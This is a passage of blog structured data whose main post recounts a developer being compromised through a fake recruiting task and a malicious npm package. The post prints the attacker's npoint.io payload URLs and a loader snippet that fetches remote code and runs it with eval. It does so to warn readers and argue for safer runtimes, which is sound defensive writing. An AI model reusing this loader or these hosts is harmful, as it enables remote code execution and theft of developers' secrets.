      "@type": "Organization",
      "@id": "https://rxj.dev/#organization",
      "name": "rxj.dev",
      "url": "https://rxj.dev",
      "logo": {
        "@type": "ImageObject",
        "url": "https://rxj.dev/images/icon-512.png",
        "width": 512,
        "height": 512
      }
    },
    "isPartOf": {
      "@type": "Blog",
      "@id": "https://rxj.dev/#blog",
      "name": "rxj.dev",
      "url": "https://rxj.dev"
    },
    "mainEntityOfPage": {
      "@type": "WebPage",
      "@id": "https://rxj.dev/posts/npm-run-hack-supply-chain-attack-journey/"
    },
    "articleBody": "I thought I was being recruited. In reality, I had just been hacked. I had given hackers user-level permissions to my system. All I had done was run npm run start.\n\nHow did I end up here?\nI am a freelance developer - at least partly. Since I do freelancing on and off, my LinkedIn profile is pretty accurate. It includes a few of my previous employers, including a few blockchain and Web 3 related projects. \n\nI frequently receive messages from recruiters in my inbox. At this point, I'm casually browsing for new freelance opportunities. And so far, Web 3 is exciting, fast-paced, and well-paying. So, yes, I was interested in another Web 3 project. \n\nWhen a recruiter messaged me about a new Web3 project, my initial feeling was: \"let's see where this goes\". The recruiter's profile looked legitimate - she had been on LinkedIn since 2011 and had 500+ connections, of which a few we shared. I replied. They responded that their CTO was very impressed with my profile (it is hilarious to reflect on this) and wanted to schedule a meeting. I used Calendly to schedule the meeting. The recruiter asked if I could perform a few preliminary dev tasks as part of the tech interview. The project was open source; since the narrative is shifting more and more towards open source tooling nowadays, this did not trigger an alarm bell. \n\nThe tasks given were so trivial that even asking why these tasks would matter would be more work than actually just doing them. So, I implemented a few tiny changes, shared them, and was done within about 5-10 minutes. I remember when running npm install && npm run start having a very brief thought about whether this would be a stupid thing to do - as I'd heard about supply chain attacks before. \n\nLater that evening, the CTO ghosted me for our meeting. Also the recruiter was not responding. But hey, it was late (8PM) and they could have missed my messages or could be out of office already. \n\nAttack breakdown \nAfter a night of sleep, a bad feeling about being ghosted by both the recruiter and CTO, and a gut feeling about the server I ran locally, I decided to turn this project inside out. I browsed quickly through most of the code, but could not find anything alarming. Moving on to the dependencies. Since I've been in the Node.js ecosystem since release v0.10, I know a lot of packages. Very quickly I noticed an unfamiliar NPM package: process-log. The NPM registry reported the very alarming number of 100 weekly downloads. \n\nI went into cyber security research mode, along with my assistants OpenAI and Claude.\n\nSo, what just happened on my machine? Process-log starts a (second) Node.js server, which upon request fetches a JSON \"cookie\" object from a remote storage bucket. The returned JSON object contains obfuscated and decompressed JavaScript code. The original server executes the \"cookie\" using eval. And you've got malware. \n\nThe obfuscated code could be any of these attacks listed in the .env file below . Very likely, the attackers could also remote control your machine as a consequence. Although I could not find any evidence of the latter. \n\nThe content of the .env file is interesting\n\n ID91=\"https://api.npoint.io/13ad0e1b29c9be2a0563\"\n ID88=\"https://api.npoint.io/af96f052fd6dcb19235c\"\n ID77=\"https://api.npoint.io/0d88d78a265d8e87c1b9\"\n ID66=\"https://api.npoint.io/159a15993f79c22e8ff6\"\n ID65=\"https://api.npoint.io/9f8dfa3cb9cc1a8eb7bb\"\n ID55=\"https://api.npoint.io/025af15878afe682bada\"\n\nYou can find the entire malicious JSON content in this repository, along with a \"demystified\" interpretation of the code (according to Claude, so it may not be 100% accurate). \n\nIf you do not want to read through all the code, here's the gist of what it does:\nit starts a persistent websocket connection with the attacker's server\nit tries to read all your browser cookies, any Electron data, all your keychains, scans your drive for popular files that contain secrets (.env, .config, .json, .sqlite, .ini, etc) and tries to find common Web3 configuration files (hardhat, truffle, etc)\nall data found is uploaded to the server controlled by the attacker\nthis process runs at a 15-second interval, to collect more and more data on you\n\nThis is extremely concerning. I've been unable to find the original project repo that I ran locally as part of the tech assignment. However, here is another repository that basically deploys the same attack, but without the intermediary step of relying on an NPM package. This is the same approach as what happened to me, but implemented a bit simpler and more direct. \n\nexports.getCookie = asyncErrorHandler(async (req, res, next) => {\n const rs = await axios.get(\"https://api.npoint.io/4af1d76b30dd6240c3ce\");\n eval(rs.data.cookie);\n})();\n\nRecovery\nI reported the process-log package at NPM, but you can still inspect the original source this package was pointing to. \n\nI contacted the owner of npoint.io about how his service is used by hackers. Npoint.io implements basic email/password auth, so chances are very slim we find anything useful. My guess is they used a throwaway email service, while hiding their actual IP address. But then again: hackers are also human. So, who knows. \n\nAfter doing this research, I wiped my machine completely. I revoked all API keys I could remember using. I changed passwords for the majority of the systems and services. I verified I am using 2FA as much as possible. \n\nFinancially, the impact is limited and can I count myself to be very lucky. To setup my computer properly took me more time though then this research. Mentally, it took me a while to get some motivation back. Believe it or not, but I consider myself to be a security aware developer. To this day I'm reflecting what I should have done differently. \n\nI'm not a security researcher by any means, but I know a thing or two about security. Was it naive? Yes. Was I rushing things? Yes. But more over, I believe I just became a victim of a spray-and-pray supply chain attack. Does the ecosystem also bear some responsibility? I think so. \n\nJust ask yourself: how often do you run something in the lines of npm install && npm run start?\n\nSecurity in the Node.js ecosystem\nMy first reaction was: fgg this, I'm moving fully to Golang and Elixir. But that does not help me nor anyone else, since Golang and Elixir also have a supply chain attack surface. \n\nHow can I prevent this from happening again? I know I'm not the only one, and I know there will be others in the future. To my judgement, the Node.js ecosystem security is not very concerned about supply chain attacks or security in general. Yes, as developer you always have end responsibility, but the ecosystem should provide developers with tools that allow them to quickly assess security implications. \n\nAt this point there are very few tools that allow me as a developer to make a quick assessment whether I can trust a project or not. When you run node.js very-secure.js or npm start you are handing the keys to your system to all the maintainers of the packages you use. And we all know that even in small-ish projects nodemodules contain a kazillion dependencies. Everyone of them being an potential threat. \n\nA more secure Node.js\nI started researching potential methods we can deploy to prevent supply chain attacks in the future. I started brainstorming and researching existing and potentially solutions. The ideal solution is one that integrates natively with existing tooling in the ecosystem. So, I'm thinking we need a secure by default package manager AND runtime. Because lets be real: you and I are not going to scan through all NPM dependencies every time you run npm install or npm start. \n\nSo, would a secure package manager do any good? How would that look like?\nInstall packages in a chrooted process, using very low privileged permissions\nAllowing no access to the filesystem\nBlocking any lifecycle scripts (pre-, install and post-install) by default, only allow them upon whitelisting\nAnd off course verify package signatures upon installation\n\nTheoretically this could work and provide some safe guards against supply chain attacks. Enter Bun. Bun has a feature to whitelist pre- and postinstall scripts for specific packages. Although this is a step in the right direction, this is not much more than a bandaid solution (sorry Bun). The runtime is still exposed as much as when using Node.js. \n\nEnter Lavamoat (developed by the Metamask team) and SES. A set of tools that allow you to lockdown the Node.js API and runtime by whitelisting permissions on a per package basis. So we can mitigate supply chain attacks in Node.js! Yet, these approaches are not very easy to adopt. \n\nLets say this secure package manager would exist, or I would use Bun, plus I would have implemented Lavamoat and SES in my stack. Would this stack prevent supply chain attacks? Probably it would. The problem of this approach is we need to adopt a whole new framework on top of Node.js, just to make it more secure. The cost-benefit ratio is really bad for most companies. If you want to have something secure, you should not have to it manually. The runtime itself should be secure by default. Otherwise people will always find ways to just not use it correctly or disable it all together. \n\nThe most secure Node.js runtime\nTurns out Ryan Dahl, the creator of Node.js, was light years ahead of me. 6 years ago (!) he mentioned a few regrets he has about Node.js. He even provided a better solution: Deno. I've toyed around with Deno years ago, but never truly grasped the whole purpose of it. And even worse - I found the security model to be pretty annoying: why should I append --allow-net and --allow-env when you run a web server? Basically every web server needs these permissions, right? Turns out I was being shortsighted. And I guess I'm not alone in this. \n\nDeno's security model give us the tools to inspect at granular level which permission you allow. It clicked when I saw this command:\n\n deno run --alow-net=\"example.com\" --allow-write=\"/.tmp/logs\" --allow-run=\"curl\" --allow-env=HOME,FOO server.ts\n \n\nThis Deno server can fetch data from example.com (but no other websites), write to /.tmp/logs (but read or write nothing else on the filesystem), run the curl command on my machine, and access the HOME and FOO environment variables. This is just a glimpse, you can build much more granular permission patterns if you want. \n\nThis is off course no silver bullet. Deno applies this security model to the entire process, but does not allow for per package permissions (like Lavamoat does). As Ryan Dahl mentions in this video [^1] they don't know how to do that, as they don't have the right primitives in V8 to implement a more granular approach. I guess if you need more security beyond what Deno's security model, you might want to consider using Lavamoat on top. Beyond that, just pick another language/runtime.\n\nGreat, we have a secure by default runtime and got rid of the package manager in the process. Great, all fairies and rainbows right? Nope. When doing more research on example Deno projects, maintained by the Deno team, I keep on seeing this: \n\n deno run --allow-net --allow-write server.ts\n \n\nThe Deno team is implicitly advocating allow all permissions to new developers entering the ecosystem. If we as developers get familiar with these overly permissive practises, we as well could keep using Node.js. One of the biggest benefits of using Deno over Node.js should not be defeated. Deno has given us a model that allows us developers to inspect in a few seconds the security implications of a project. To my knowledge, this feature does not exist in other ecosystems like Python, Golang, Rust, Zig, Rails or Elixir. Let's adopt the right approach now we still can. \n\nWould these measures prevent me - or anyone else - from making a similar mistake the future? No. I still can run deno task start, but at least Deno gave me as developer the tools to inspect the start task quickly to identify which permissions I will just allow the process. \n\nIf you got this far, you probably are not surprised that I will be migrating any personal Node.js project to Deno as off today. Some other changes I am considering of implementing:\nRun untrusted code in a (VS Code) virtual workspace, Docker or a sandboxed environment \nSecure any local .env files. SOPS, Hashicorp Vault or Infisical come to mind here. But there are a kazillion other tools who can help you out here\nConsider your computer as a workstation, not as your digital home. Can you switch to another computer to another in 15 minutes and be productive? \n\nStay safe!"
  },
  {
    "@context": "https://schema.org",
    "@type": "BlogPosting",
    "@id": "https://rxj.dev/posts/introducing-dmn-so/",
    "url": "https://rxj.dev/posts/introducing-dmn-so/",
    "headline": "Introducing dmn.so",
    "name": "Introducing dmn.so",
    "description": "Tired of domain name generators suggesting only taken domains? Discover dmn.so, my AI-powered tool that finds premium, short, available domain names—and it's free to try now!",
    "datePublished": "2024-06-25T00:00:00.000Z",
    "dateModified": "2024-06-25T00:00:00.000Z",
    "inLanguage": "en",
    "wordCount": 233,
    "author": {
      "@type": "Person",
      "@id": "https://rxj.dev/#ron-jansen",
      "name": "Ron Jansen",
      "url": "https://rxj.dev/about/",
      "image": "https://rxj.dev/profile2.jpg",
      "jobTitle": "Founder & CTO",
      "description": "Founder and CTO writing on security, AI agents and software architecture.",
      "sameAs": [
        "https://github.com/ronxjansen",
        "https://twitter.com/ronxjansen",
        "https://guardbase.ai"
      ]
    },
    "publisher": {
      "@type": "Organization",
      "@id": "https://rxj.dev/#organization",
      "name": "rxj.dev",
      "url": "https://rxj.dev",
      "logo": {
        "@type": "ImageObject",
        "url": "https://rxj.dev/images/icon-512.png",
        "width": 512,
        "height": 512
      }
    },
    "isPartOf": {
      "@type": "Blog",
      "@id": "https://rxj.dev/#blog",
      "name": "rxj.dev",
      "url": "https://rxj.dev"
    },
    "mainEntityOfPage": {
      "@type": "WebPage",
      "@id": "https://rxj.dev/posts/introducing-dmn-so/"
    },
    "articleBody": "I have a confession to make: I own kind of a lot domain names. Much more then I need. For some, it's shoes, watches or stamps, for me, it's domain names. I guess I hope to use them someday.\n\nOver the years, finding a good domain name, especially a .com, has become increasingly difficult. In my opinion it doesn't matter whether your domain is a .com or .ai or .whatever. As long as your audience can find you; if it's easy for your audience to remember, your golden.\n\nWith a bit of creativity, there are still SO many (!) great domain names available for registration. Often, all you need to do is drop a letter, add a prefix or suffix, or explore different top level domains (.so, .ai, .co, .dev, .app, .bot, etc).\n\nExisting domain name generation tools, like Namelix, always took me a long time to generate at least a few decent ideas, only to find out those domain names were already taken. Dissatisfied with the existing solutions, I decided to build one myself.\n\nThat's why I created dmn.so - an AI-enabled tool designed to find the premium, short, yet available domain names. And the best part is: it's free to use right now! The first 50 users to sign up will get a 6-month discount when we launch billing.\n\nGive it a try and let me know what you think! 🙏"
  },
  {
    "@context": "https://schema.org",
    "@type": "BlogPosting",
    "@id": "https://rxj.dev/posts/1-km-coding-sessions/",
    "url": "https://rxj.dev/posts/1-km-coding-sessions/",
    "headline": "1 km/hour coding sessions",
    "name": "1 km/hour coding sessions",
    "description": "Discover how running 1 kilometer every hour during the workday can boost productivity, maintain focus, and improve physical health for remote developers.",
    "datePublished": "2024-06-05T00:00:00.000Z",
    "dateModified": "2024-06-05T00:00:00.000Z",
    "inLanguage": "en",
    "wordCount": 188,
    "author": {
      "@type": "Person",
      "@id": "https://rxj.dev/#ron-jansen",
      "name": "Ron Jansen",
      "url": "https://rxj.dev/about/",
      "image": "https://rxj.dev/profile2.jpg",
      "jobTitle": "Founder & CTO",
      "description": "Founder and CTO writing on security, AI agents and software architecture.",
      "sameAs": [
        "https://github.com/ronxjansen",
        "https://twitter.com/ronxjansen",
        "https://guardbase.ai"
      ]
    },
    "publisher": {
      "@type": "Organization",
      "@id": "https://rxj.dev/#organization",
      "name": "rxj.dev",
      "url": "https://rxj.dev",
      "logo": {
        "@type": "ImageObject",
        "url": "https://rxj.dev/images/icon-512.png",
        "width": 512,
        "height": 512
      }
    },
    "isPartOf": {
      "@type": "Blog",
      "@id": "https://rxj.dev/#blog",
      "name": "rxj.dev",
      "url": "https://rxj.dev"
    },
    "mainEntityOfPage": {
      "@type": "WebPage",
      "@id": "https://rxj.dev/posts/1-km-coding-sessions/"
    },
    "articleBody": "After a 10 kilometer run, I had an epihancy: why don't I do this daily? Or even hourly? Even it was the end of a long day of work, I felt energised. Ready to work another few hours. I felt sharp and focused.\n\nI remembered an experiment by Beau Miles. He ran 1 mile every hour, for 24 hours. I could make this part of my working day routine. As a remote software developer this would feasible for sure. At a leisurely pace, it takes me about 5 minutes to run 1 kilometer. Adding 2 minutes to switch into and out of running clothes, would make it 7 minutes each hour.\n\nI don't track how much time I waste procrastinating, working inefficient, lose focus, but I wouldn't be surprised if that amounts to more then 7 minutes per hour.\n\nSo, there isn't really anything to lose. And I would gain a lot:\nI will run daily 8km give or take; helping me to stay in shape\nIt might help to regain focus and perspective\nI suspect that I will waste less time on procrastination\n\nTomorrow is day 1."
  },
  {
    "@context": "https://schema.org",
    "@type": "BlogPosting",
    "@id": "https://rxj.dev/posts/4-hour-strategic-plan/",
    "url": "https://rxj.dev/posts/4-hour-strategic-plan/",
    "headline": "The 4 hour strategic plan",
    "name": "The 4 hour strategic plan",
    "description": "How a simple 4-hour time-boxed approach can help you evaluate potential projects and make confident decisions without analysis paralysis.",
    "datePublished": "2024-01-01T00:00:00.000Z",
    "dateModified": "2024-01-01T00:00:00.000Z",
    "inLanguage": "en",
    "wordCount": 126,
    "author": {
      "@type": "Person",
      "@id": "https://rxj.dev/#ron-jansen",
      "name": "Ron Jansen",
      "url": "https://rxj.dev/about/",
      "image": "https://rxj.dev/profile2.jpg",
      "jobTitle": "Founder & CTO",
      "description": "Founder and CTO writing on security, AI agents and software architecture.",
      "sameAs": [
        "https://github.com/ronxjansen",
        "https://twitter.com/ronxjansen",
        "https://guardbase.ai"
      ]
    },
    "publisher": {
      "@type": "Organization",
      "@id": "https://rxj.dev/#organization",
      "name": "rxj.dev",
      "url": "https://rxj.dev",
      "logo": {
        "@type": "ImageObject",
        "url": "https://rxj.dev/images/icon-512.png",
        "width": 512,
        "height": 512
      }
    },
    "isPartOf": {
      "@type": "Blog",
      "@id": "https://rxj.dev/#blog",
      "name": "rxj.dev",
      "url": "https://rxj.dev"
    },
    "mainEntityOfPage": {
      "@type": "WebPage",
      "@id": "https://rxj.dev/posts/4-hour-strategic-plan/"
    },
    "articleBody": "I've a kazillion ideas. I'm sure you have too. But how do you know which one to pursue? A coach advised me at somepoint to spend at max 4 hours to think about a potential career paths. Any more time spend on it is a waste of time, does not necessarily adds value linearly. I think this is a great advice. Time boxing is a great way to get things done. So, to validate if I should work on an idea I first spend max 4 hours documentating a potential viable strategy. Thus the 4 hour strategic plan.\nThe mom test: what problem are you solving? For who?\nCompetition: vertical or horizontal\nDo I have an edge?\nHow can I acquire customers?\nWhy not do it?"
  },
  {
    "@context": "https://schema.org",
    "@type": "BlogPosting",
    "@id": "https://rxj.dev/posts/power-of-compounding/",
    "url": "https://rxj.dev/posts/power-of-compounding/",
    "headline": "The Power of Compounding",
    "name": "The Power of Compounding",
    "description": "Beyond finance, discover how the principle of compounding can transform your knowledge, skills, relationships, and more—if you have the right systems to prevent loss over time.",
    "datePublished": "2023-11-17T00:00:00.000Z",
    "dateModified": "2023-11-17T00:00:00.000Z",
    "inLanguage": "en",
    "wordCount": 146,
    "author": {
      "@type": "Person",
      "@id": "https://rxj.dev/#ron-jansen",
      "name": "Ron Jansen",
      "url": "https://rxj.dev/about/",
      "image": "https://rxj.dev/profile2.jpg",
      "jobTitle": "Founder & CTO",
      "description": "Founder and CTO writing on security, AI agents and software architecture.",
      "sameAs": [
        "https://github.com/ronxjansen",
        "https://twitter.com/ronxjansen",
        "https://guardbase.ai"
      ]
    },
    "publisher": {
      "@type": "Organization",
      "@id": "https://rxj.dev/#organization",
      "name": "rxj.dev",
      "url": "https://rxj.dev",
      "logo": {
        "@type": "ImageObject",
        "url": "https://rxj.dev/images/icon-512.png",
        "width": 512,
        "height": 512
      }
    },
    "isPartOf": {
      "@type": "Blog",
      "@id": "https://rxj.dev/#blog",
      "name": "rxj.dev",
      "url": "https://rxj.dev"
    },
    "mainEntityOfPage": {
      "@type": "WebPage",
      "@id": "https://rxj.dev/posts/power-of-compounding/"
    },
    "articleBody": "The concept of compounding is most often associated with finance and investment. Money, when invested wisely, grows exponentially over time due to the power of compounding.\n\nThe funny things is not only money can be compounded. In fact, I believe that the concept of compounding can be applied to almost every aspect of life. It is possible to compound knowledge, skills, relationships, health, happiness, money and even time itself.\n\nTake knowledge for example. To compound knowledge we need tooling that allow us to remember, associate and create new knowledge. In order to compounding knowledge you should at least not be losing knowledge. How many note taking app from the past are you already not using any more?\n\nThis starts with the right tooling. How to store notes if we still want to access them in 30 years time? HTML, Markdown, txt? Or use a SQLite database?"
  },
  {
    "@context": "https://schema.org",
    "@type": "BlogPosting",
    "@id": "https://rxj.dev/posts/lastmark/",
    "url": "https://rxj.dev/posts/lastmark/",
    "headline": "The last bookmark manager",
    "name": "The last bookmark manager",
    "description": "Frustrated with bookmark managers that disappear or overcomplicate? Discover Lastmark—the minimalist, open-source solution designed to be your final bookmark home for the next 30 years.",
    "datePublished": "2023-10-06T00:00:00.000Z",
    "dateModified": "2023-10-06T00:00:00.000Z",
    "inLanguage": "en",
    "wordCount": 376,
    "author": {
      "@type": "Person",
      "@id": "https://rxj.dev/#ron-jansen",
      "name": "Ron Jansen",
      "url": "https://rxj.dev/about/",
      "image": "https://rxj.dev/profile2.jpg",
      "jobTitle": "Founder & CTO",
      "description": "Founder and CTO writing on security, AI agents and software architecture.",
      "sameAs": [
        "https://github.com/ronxjansen",
        "https://twitter.com/ronxjansen",
        "https://guardbase.ai"
      ]
    },
    "publisher": {
      "@type": "Organization",
      "@id": "https://rxj.dev/#organization",
      "name": "rxj.dev",
      "url": "https://rxj.dev",
      "logo": {
        "@type": "ImageObject",
        "url": "https://rxj.dev/images/icon-512.png",
        "width": 512,
        "height": 512
      }
    },
    "isPartOf": {
      "@type": "Blog",
      "@id": "https://rxj.dev/#blog",
      "name": "rxj.dev",
      "url": "https://rxj.dev"
    },
    "mainEntityOfPage": {
      "@type": "WebPage",
      "@id": "https://rxj.dev/posts/lastmark/"
    },
    "articleBody": "I decided to build (another) bookmark manager. I am not sure if the world needs another one, but I personally was not happy with the choices out there. Let me explain.\n\nI have used del.icio.us, Pocket, Instapaper and a few others previously. I was delighted with del.icio.us, until it was shut down. Since then I tried to use alternatives like Pocket and Instapaper, but neither really filled my need. They are both more tailored to reading articles, instead just keeping my links. Also the interface was more like a newspaper, then just a list of links that you can easily filter. I've tried using a custom Markdown file system on my local machine and even Mac Notes as my go-to solution. But nothing to my liking. I either forgot where my links where stored.\n\nLast month I doubled down on a quest to find a bookmark manager once and for all: my last bookmark manager. I found Pinboard, Linkace, Linkding and Archivebox. Pinboard took basically the spot of del.icio.us. Linkace, Linkding and Archivebox are all self-hosted, open source solutions. I guess the market for hosted minimal bookmark managers has dried up since the days of del.icio.us.\n\nSo, which (or what kind of) bookmark manager would I trust with my links for the next 30 years?\nIt has to be open source and easy to host\n(Close to) zero maintenance, no fancy Javascript or CSS. As little dependencies as possible. If any dependencies are necessary, they have to be battle tested.\nMinimal features: store links, tags. Import and export bookmarks. Plus RSS feeds. That's it.\nSimple UI, that works on desktop and mobile\n\nAs a result of this, I decided to build Lastmark. It's build on Golang, SQLite, some HTMX and inline CSS. I stupidly simple: you add links, can tag them, and you can search them. That is basically it.\n\nUpdate 15 feb 2024\n\nI've been using Lastmark basically everyday and I really like it's fire and forget. It just runs. No maintenance. However, I believe I've found a missing requirement. If Lastmark is truly your last bookmark manager, it should also run on your desktop computer where it stores links in a local markdown file, with a fallback to cloud backup. Next stop: Lastmark Desktop."
  },
  {
    "@context": "https://schema.org",
    "@type": "BlogPosting",
    "@id": "https://rxj.dev/posts/why-not-use-htmx/",
    "url": "https://rxj.dev/posts/why-not-use-htmx/",
    "headline": "Why not use HTMX?",
    "name": "Why not use HTMX?",
    "description": "HTMX is revolutionizing web development, but what are its downsides? Explore the trade-offs of server-driven UI, from latency issues to silent failures that might impact your project.",
    "datePublished": "2023-09-06T00:00:00.000Z",
    "dateModified": "2023-09-06T00:00:00.000Z",
    "inLanguage": "en",
    "wordCount": 518,
    "author": {
      "@type": "Person",
      "@id": "https://rxj.dev/#ron-jansen",
      "name": "Ron Jansen",
      "url": "https://rxj.dev/about/",
      "image": "https://rxj.dev/profile2.jpg",
      "jobTitle": "Founder & CTO",
      "description": "Founder and CTO writing on security, AI agents and software architecture.",
      "sameAs": [
        "https://github.com/ronxjansen",
        "https://twitter.com/ronxjansen",
        "https://guardbase.ai"
      ]
    },
    "publisher": {
      "@type": "Organization",
      "@id": "https://rxj.dev/#organization",
      "name": "rxj.dev",
      "url": "https://rxj.dev",
      "logo": {
        "@type": "ImageObject",
        "url": "https://rxj.dev/images/icon-512.png",
        "width": 512,
        "height": 512
      }
    },
    "isPartOf": {
      "@type": "Blog",
      "@id": "https://rxj.dev/#blog",
      "name": "rxj.dev",
      "url": "https://rxj.dev"
    },
    "mainEntityOfPage": {
      "@type": "WebPage",
      "@id": "https://rxj.dev/posts/why-not-use-htmx/"
    },
    "articleBody": "The HTMX hype is real. And I'm in on it. Mainly because I believe it could safe a lot of applications that are written in React or Vue from a lot of state management sync bugs. HTMX removes the need for frontend state management, validation and in some cases even business logic code duplication. Less code, less bugs. And that is where I think HTMX shines over existing frontend frameworks (or \"libraries\" - looking at you React).\n\nAs long as we are in a browser, there is only 1 state: the HTML that you are rendering. And HTMX reduces a tremendous amount of duplicated code to achieve almost similar levels of intereactivity as something like React. I believe it's a great trade off.\n\nThere are already so many, great articles focussing the good stuff about HTMX, that I don't think my word is much worth here. However, usually when I try to figure out if I should use some technology or not, I try to figure out why I should not use it. That makes the trade off I'm tryin to make more tangible. The good parts are usually over promoted and make it hard to compare with other technologies, it's a lot of times comparing apples with oranges. The bad parts put things in the right perspective for me.\n\nSo, why (or when) shouldn't you use HTMX? Some thoughts about the bad parts of HTMX.\n\n1. Even simple interactivity require latency\n\nIf you don't use any other Javascript aside from HTMX and want to toggle a form, for example, you need to make a request to the server. In HTMX everything is a request to the server. Off course, you can sprinkle some vanilla Javascript or use an framework to enrich your application or page with interactive behavior that doesn't require state.\n\n2. Your backend stack becomes more important\n\nQuit obviously, since you move a lot of logic to the backend, the technology you use there determines for a greater deal the developer experience and reliability. For example, when using Golang templates incorrect passing of arguments will fail render, but when using EJS with Node.js you can easily pass a non-existing variable to the template, and it will just render an empty string.\n\n3. Silent errors due to incorrect selector ID's\n\nAt the heart of HTMX's interactivity is its reliance on HTML ID selectors, the hx-target attribute. Typo's in any of the ID selectors can lead to silent failures, meaning parts of your interface won't render anymore as intended, potentially leaving users frustrated. Things might especially get frustrating when you decide to change the ID of an element, and forget to update the ID selector in the HTMX attribute.\n\n4. HTMX drives the design of the backend\n\nHTMX drives the design of the backend, it's not something you use to progressively enhance your app. When using HTMX you need a ton more endpoints compared to your MPA setup. There was a single page using 1, 2 endpoints at most.\n\nSo, all this considered, I obviously chose HTMX part of my stack when I decided to build Lastmark."
  },
  {
    "@context": "https://schema.org",
    "@type": "BlogPosting",
    "@id": "https://rxj.dev/posts/interactivity-is-a-detail/",
    "url": "https://rxj.dev/posts/interactivity-is-a-detail/",
    "headline": "Interactivity is just a detail",
    "name": "Interactivity is just a detail",
    "description": "Have we overcomplicated web development? Discover why JavaScript frameworks might be overkill for most sites and how returning to basics could save you time, complexity, and headaches.",
    "datePublished": "2023-08-08T00:00:00.000Z",
    "dateModified": "2023-08-08T00:00:00.000Z",
    "inLanguage": "en",
    "wordCount": 374,
    "author": {
      "@type": "Person",
      "@id": "https://rxj.dev/#ron-jansen",
      "name": "Ron Jansen",
      "url": "https://rxj.dev/about/",
      "image": "https://rxj.dev/profile2.jpg",
      "jobTitle": "Founder & CTO",
      "description": "Founder and CTO writing on security, AI agents and software architecture.",
      "sameAs": [
        "https://github.com/ronxjansen",
        "https://twitter.com/ronxjansen",
        "https://guardbase.ai"
      ]
    },
    "publisher": {
      "@type": "Organization",
      "@id": "https://rxj.dev/#organization",
      "name": "rxj.dev",
      "url": "https://rxj.dev",
      "logo": {
        "@type": "ImageObject",
        "url": "https://rxj.dev/images/icon-512.png",
        "width": 512,
        "height": 512
      }
    },
    "isPartOf": {
      "@type": "Blog",
      "@id": "https://rxj.dev/#blog",
      "name": "rxj.dev",
      "url": "https://rxj.dev"
    },
    "mainEntityOfPage": {
      "@type": "WebPage",
      "@id": "https://rxj.dev/posts/interactivity-is-a-detail/"
    },
    "articleBody": "Interactivity is just a detail. In the grand scheme of web development, it’s merely a small piece of the puzzle, not the keystone holding it all together. Allthough, in recent years we kind of forgot about that. The Javascript cool kids have taken over. And I was (or am?) still one of them.\n\nWe all jumped - till recently - on React, Svelte, Solid or whatever. Hell, I even earn my living building on these technologies. But the introduction of HTMX made me realize that we are doing it all wrong. To show for it: you are looking at a blog which I initially build using Next.js, styled components and Chakra. Let that sink in a bit. Then try to identify all the elements on this page that require Javascript enabled interactivity. I'll wait.\n\nThere was so (!) much unncessary technology involved that it's kind of hard to see how we ended up here. Javascript is an awesome and powerfull technology we can use, but we should use it more wisely. It allows for a lot of really great interactivity on the web, but it's not the only way to achieve that. And it's not always the best way either.\n\nSo, I went back to the basics, rebuilding it with HTML and some CSS in just a few hours (on top of a super simple static generator). Simpler design, simpler tech stack, and much faster! I guess old habits die hard. To show how difficult it is to break out of existing habits:\nAfter migrating this blog to Hugo, I tried to integrate Tailwind. Did I really need Tailwind? It's awesome for larger projects, but for a simple blog? After an hour fiddling with Hugo pipeline and Post CSS processing I realized it would be faster to just write some inline CSS.\n\nTunnel vision is real. The more experience you have, the more you are prone to it. At least I am.\n\nLet's get to the basics, focus on the root problem with a fresh perspective. Try to use as little tools as possible. What kind of technologies are you taking for granted? There are for sure a few. Do you really need PostgreSQL, React, a MVC framework? You get the picture: basics first."
  },
  {
    "@context": "https://schema.org",
    "@type": "BlogPosting",
    "@id": "https://rxj.dev/posts/bootstrap-stack/",
    "url": "https://rxj.dev/posts/bootstrap-stack/",
    "headline": "A bootstrappers tech stack",
    "name": "A bootstrappers tech stack",
    "description": "Forget type safety and fancy frameworks—when bootstrapping, speed is everything. Why simpler tech stacks let you validate ideas faster and avoid burning through savings.",
    "datePublished": "2023-08-01T00:00:00.000Z",
    "dateModified": "2023-08-01T00:00:00.000Z",
    "inLanguage": "en",
    "wordCount": 281,
    "author": {
      "@type": "Person",
      "@id": "https://rxj.dev/#ron-jansen",
      "name": "Ron Jansen",
      "url": "https://rxj.dev/about/",
      "image": "https://rxj.dev/profile2.jpg",
      "jobTitle": "Founder & CTO",
      "description": "Founder and CTO writing on security, AI agents and software architecture.",
      "sameAs": [
        "https://github.com/ronxjansen",
        "https://twitter.com/ronxjansen",
        "https://guardbase.ai"
      ]
    },
    "publisher": {
      "@type": "Organization",
      "@id": "https://rxj.dev/#organization",
      "name": "rxj.dev",
      "url": "https://rxj.dev",
      "logo": {
        "@type": "ImageObject",
        "url": "https://rxj.dev/images/icon-512.png",
        "width": 512,
        "height": 512
      }
    },
    "isPartOf": {
      "@type": "Blog",
      "@id": "https://rxj.dev/#blog",
      "name": "rxj.dev",
      "url": "https://rxj.dev"
    },
    "mainEntityOfPage": {
      "@type": "WebPage",
      "@id": "https://rxj.dev/posts/bootstrap-stack/"
    },
    "articleBody": "Speed is EVERYTHING when bootstrapping a business there is really one thing that matters: validate if your ideas matters also to others. The faster you are able to validate, the better.\n\nI've been both a co-founder of a bootstrapped company and a developer and tech lead in a more corporate environment. I've seen the benefits of both worlds. I've seen what type safety and static type checks can do. But in a bootstrapping environment they are just not a necessity. Type safety and staticly typed languages are luxuries you can't afford when you're hustling to get your product off the ground. Yup, I'm talking about any high level language that lets you write terrible code if don't know what you are doing: Javascript, Python, Ruby, you get the picture. Nope, even Typescript will slow you down, with it's build steps and setup.\n\nA lot of boostrappers talk about revenue's earned, while ignoring how they are burning their savings account. This burn rate, called opportunity costs, is real. And as an entrepeneur you should always be aware of the impact of these costs on your real profit. If you are earning $1000 a month, minus some server costs of $50 and some tooling of $50, then you just calculated your profit wrong. All the hours your spend on your product (including development and marketing) are also costs, because you could not have spend those hours on something else, like a job.\n\nNo types, error handling, memory management. Only happy path, dynamic language coding.\n\nThis blog is build using Hugo, plain old inline CSS and a tiny bit of vanilla Javascript. It's boring, but it incredibly fast. Both: to run and to make."
  },
  {
    "@context": "https://schema.org",
    "@type": "BlogPosting",
    "@id": "https://rxj.dev/posts/write-maintainable-code-as-indie-dev/",
    "url": "https://rxj.dev/posts/write-maintainable-code-as-indie-dev/",
    "headline": "Code architecture for indie devs",
    "name": "Code architecture for indie devs",
    "description": "Are you over-engineering your side project? Learn why complex architecture patterns might be slowing you down and how focusing on shipping—not scalability—is the key to indie success.",
    "datePublished": "2022-07-03T00:00:00.000Z",
    "dateModified": "2022-07-03T00:00:00.000Z",
    "inLanguage": "en",
    "wordCount": 324,
    "author": {
      "@type": "Person",
